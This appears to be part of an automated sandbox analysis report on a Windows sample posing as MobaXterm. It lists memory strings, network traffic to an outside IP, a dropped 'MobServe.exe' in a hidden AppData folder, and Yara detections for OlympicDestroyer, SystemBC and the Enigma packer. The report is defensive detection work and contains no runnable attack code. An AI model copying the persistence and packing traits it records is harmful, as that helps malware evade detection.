String found in binary or memory: https://vorillaz.github.io/devicons)
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vorillaz.github.io/devicons/#/about)
Source: T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2277517244.000000000AC29000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCB33000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219797778.00000000091A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2277517244.000000000AC29000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/open%s
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCB33000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219797778.00000000091A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/openputtygen-save-passphrase-hashingputtygen-save
Source: T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCCBF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258497127.000000000A6DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.fr
Source: T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.x.org

Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836

Source: unknown

HTTPS traffic detected: 118.107.29.172:443 -> 192.168.2.6:49728 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Code function: 13_2_0052D84D winClipboardFlushXEvents,winDebug,winDebug,winDebug,GetOpenClipboardWindow,CloseClipboard,OpenClipboard,GetLastError,ErrorF,EmptyClipboard,GetLastError,ErrorF,SetClipboardData,CloseClipboard,GetLastError,ErrorF,ErrorF,xcb_connection_has_error,ErrorF,xcb_poll_for_event,

13_2_0052D84D

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

13_2_0052D84D

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Code function: 13_2_00407FE1 winRestoreModeKeyStates,mieqProcessInputEvents,winDebug,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,winSendKeyEvent,winSendKeyEvent,winSendKeyEvent,winSendKeyEvent,winSendKeyEvent,winSendKeyEvent,GetKeyState,winSendKeyEvent,winSendKeyEvent,GetKeyState,winSendKeyEvent,winSendKeyEvent,GetKeyState,winSendKeyEvent,winSendKeyEvent,GetKeyState,winSendKeyEvent,winSendKeyEvent,

13_2_00407FE1

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Code function: 13_2_00418440 winWindowProc@16,GetPropA,winHandleIconMessage,RegisterWindowMessageA,SetPropA,SetPropA,winInitNotifyIcon,winDebug,FatalError,ErrorF,GetSystemMetrics,ErrorF,GetDeviceCaps,ErrorF,winDisplayDepthChangeDialog,ShowWindow,ErrorF,GetSystemMetrics,GetSystemMetrics,QueryMonitor,ErrorF,winUpdateDpi,winDoRandRScreenSetSize,winDebug,ErrorF,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,SetScrollInfo,SetScrollInfo,GetScrollInfo,GetScrollInfo,PostMessageA,ErrorF,ErrorF,GetClientRect,winDoRandRScreenSetSize,GetScrollInfo,SetScrollInfo,GetScrollInfo,ScrollWindowEx,UpdateWindow,GetScrollInfo,SetScrollInfo,GetScrollInfo,ScrollWindowEx,UpdateWindow,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,miPointerGetScreen,miPointerSetScreen,memset,TrackMouseEvent,ErrorF,ShowCursor,ShowCursor,winEnqueueMotion,ShowCursor,ShowCursor,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,winMouseButtonsSendEvent,KillTimer,GetCursorPos,GetSystemMetrics,GetSystemMetrics,winEnqueueMotion,GetCursorPos,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,PostMessageA,PostMessageA,PostMessageA,FatalError,winMouseWheel,winMouseWheel,winRestoreModeKeyStates,winInstallKeyboardHookLL,winKeybdReleaseKeys,winRemoveKeyboardHookLL,GetKeyState,GetKeyState,GetKeyState,ErrorF,winDisplayExitDialog,winIsFakeCtrl_L,winCheckKeyPressed,winTranslateKey,winSendKeyEvent,winIsFakeCtrl_L,winTranslateKey,winSendKeyEvent,winFixShiftKeys,ErrorF,ShowWindow,SetActiveWindow,ShowWindow,ShowCursor,winDebug,ShowCursor,winDisplayExitDialog,ShowWindow,ShowWindow,winDisplayAboutDialog,HandleCustomWM_COMMAND,winDeinitMultiWindowWM,GiveUp,winDisplayExitDialog,SetCursor,winInitNotifyIcon,DefWindowProcA,

13_2_00418440

Source: Yara match	File source: T2dvU8f2xg.exe, type: SAMPLE
Source: Yara match	File source: 0.0.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: T2dvU8f2xg.exe PID: 7116, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: Detects packed executables observed in Molerats Author: ditekSHen
Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: Detects SystemBC Author: ditekSHen
Source: 0.2.T2dvU8f2xg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 0.0.T2dvU8f2xg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 0.2.T2dvU8f2xg.exe.10000000.8.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 0.2.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 0.0.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 0.0.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects SystemBC Author: ditekSHen
Source: 12.0.MobServe.exe.7ff7e4930000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 10.2.MobServe.exe.7ff7e4930000.3.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 10.0.MobServe.exe.7ff7e4930000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 12.2.MobServe.exe.7ff7e4930000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 00000000.00000002.4063276187.0000000000400000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: 00000000.00000000.2198364908.0000000000400000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MobServe[1].exe, type: DROPPED	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: C:\Users\user\AppData\Local\Temp\temp_MobServe.exe, type: DROPPED	Matched rule: OlympicDestroyer Payload Author: kevoreilly

PE file has nameless sections

Source: evb5021.tmp.0.dr

Static PE information: section name:

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10271870	0_2_10271870
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000E020	0_2_1000E020
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_101D0020	0_2_101D0020
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000D080	0_2_1000D080
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100080F0	0_2_100080F0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10004106	0_2_10004106
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000E150	0_2_1000E150
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100101E9	0_2_100101E9
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100061F0	0_2_100061F0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10003200	0_2_10003200
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10200230	0_2_10200230
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10192230	0_2_10192230
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000F2A0	0_2_1000F2A0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10006320	0_2_10006320
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_102353C0	0_2_102353C0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100073F0	0_2_100073F0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10012405	0_2_10012405
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10230410	0_2_10230410
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10008497	0_2_10008497
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100064D0	0_2_100064D0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1006E4D0	0_2_1006E4D0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10265530	0_2_10265530
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_101DE550	0_2_101DE550
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10237550	0_2_10237550
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_102015E0	0_2_102015E0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10001600	0_2_10001600
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1006C770	0_2_1006C770
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000D7A0	0_2_1000D7A0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100047A9	0_2_100047A9
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000985D	0_2_1000985D
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10006870	0_2_10006870
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_101B0860	0_2_101B0860
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1021F8D0	0_2_1021F8D0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10001960	0_2_10001960
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10001961	0_2_10001961
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000997D	0_2_1000997D
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000FA20	0_2_1000FA20
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10009A59	0_2_10009A59
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10004A60	0_2_10004A60
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10007A70	0_2_10007A70
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10002AB0	0_2_10002AB0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10001B70	0_2_10001B70
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_101A9BA0	0_2_101A9BA0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10011BDF	0_2_10011BDF
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000CC50	0_2_1000CC50
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10008C60	0_2_10008C60
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1005AD90	0_2_1005AD90
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_101E0DC0	0_2_101E0DC0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10006E00	0_2_10006E00
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10008E11	0_2_10008E11
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000FE50	0_2_1000FE50
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10270E70	0_2_10270E70
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10005E80	0_2_10005E80
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000EE80	0_2_1000EE80
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000DEC0	0_2_1000DEC0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_101F5EE0	0_2_101F5EE0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000DF2C	0_2_1000DF2C
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10002F30	0_2_10002F30
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10002F31	0_2_10002F31
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10008F5B	0_2_10008F5B
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000AF80	0_2_1000AF80
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10069F80	0_2_10069F80
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1000BFC9	0_2_1000BFC9
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10149FC0	0_2_10149FC0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_102A0FF2	0_2_102A0FF2
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Code function: 10_2_000001D869DE0000	10_2_000001D869DE0000
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_0043C01C	13_2_0043C01C
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_0043E2D9	13_2_0043E2D9
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_0058C369	13_2_0058C369
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_004344B0	13_2_004344B0
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005CB100	13_2_005CB100
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005CB2D0	13_2_005CB2D0
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005BF440	13_2_005BF440
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_004334F4	13_2_004334F4
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_0065FE10	13_2_0065FE10
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_00439F0D	13_2_00439F0D

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 00660C50 appears 213 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 005B30DC appears 589 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 00669E98 appears 110 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 005B29CD appears 76 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 005B3126 appears 71 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 0052E460 appears 93 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 0040957F appears 185 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 0042ADF3 appears 415 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 005B2FF6 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: String function: 00409550 appears 31 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 10057780 appears 273 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 102A08C0 appears 160 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 100695A0 appears 31 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 1004E9B2 appears 41 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 1006B1E0 appears 34 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 10050C90 appears 39 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 1005A2E0 appears 58 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 10050F20 appears 64 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 10195A40 appears 56 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 10050D20 appears 309 times
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: String function: 10057A60 appears 45 times

Source: temp_MobServe.exe.0.dr	Static PE information: Number of sections : 24 > 10
Source: XWin_MobaX_21.1.8.exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: XWin_MobaX_21.1.3.exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: MobServe[1].exe.0.dr	Static PE information: Number of sections : 24 > 10
Source: libwinpthread-1.dll.0.dr	Static PE information: Number of sections : 11 > 10
Source: XWin_MobaX.exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: jwm.exe.0.dr	Static PE information: Number of sections : 11 > 10

Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaRTE0 vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaSCP: vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMoTTYj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMoTTYj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobAgentj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobAgentj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaKeyGenj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: NOINVERT ORIGINALFILENAME vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCCE3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: NOINVERT ORIGINALFILENAME vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2228069741.00000000091FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NOINVERT ORIGINALFILENAME vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMoTTYj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaRTE0 vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000000.2199767679.0000000001425000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMobaXterm4 vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMoTTYj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaKeyGenj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaSCP: vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2468450629.00000000FDEB9000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWinPthreadGCp( vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaX. vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2478505354.00000000FC13A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWinPthreadGCp( vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobAgentj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaSCP: vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobaKeyGenj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMobAgentj% vs T2dvU8f2xg.exe
Source: T2dvU8f2xg.exe, 00000000.00000003.2376415685.000000000798A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWinPthreadGCp( vs T2dvU8f2xg.exe

Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: INDICATOR_EXE_Packed_Loader author = ditekSHen, description = Detects packed executables observed in Molerats
Source: T2dvU8f2xg.exe, type: SAMPLE	Matched rule: MALWARE_Win_EXEPWSH_DLAgent author = ditekSHen, description = Detects SystemBC
Source: 0.2.T2dvU8f2xg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 0.0.T2dvU8f2xg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 0.2.T2dvU8f2xg.exe.10000000.8.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 0.2.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 0.0.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: 0.0.T2dvU8f2xg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_EXEPWSH_DLAgent author = ditekSHen, description = Detects SystemBC
Source: 12.0.MobServe.exe.7ff7e4930000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
